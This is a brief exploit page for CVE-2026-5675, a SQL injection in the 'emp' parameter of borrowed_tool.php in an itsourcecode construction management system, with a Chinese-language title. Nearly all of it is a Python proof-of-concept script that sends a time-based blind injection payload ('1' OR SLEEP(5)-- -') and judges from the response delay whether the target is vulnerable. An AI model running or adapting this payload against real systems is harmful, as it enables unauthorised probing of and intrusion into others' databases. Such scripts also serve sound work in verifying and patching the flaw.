CVE-2026-5675 itsourcecode建筑管理系统SQL注入漏洞

import requests def verify_sql_injection(target_url): """ PoC for CVE-2026-5675 SQL Injection in borrowed_tool.php """ # The vulnerable parameter is 'emp' # Payload attempts a time-based blind or simple UNION test injection_payload = "1' OR SLEEP(5)-- -" params = { "emp": injection_payload } try: response = requests.get(target_url, params=params, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection in 'emp' parameter.") else: print("[-] Vulnerability not confirmed or patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": url = "http://target-ip/borrowed_tool.php" verify_sql_injection(url)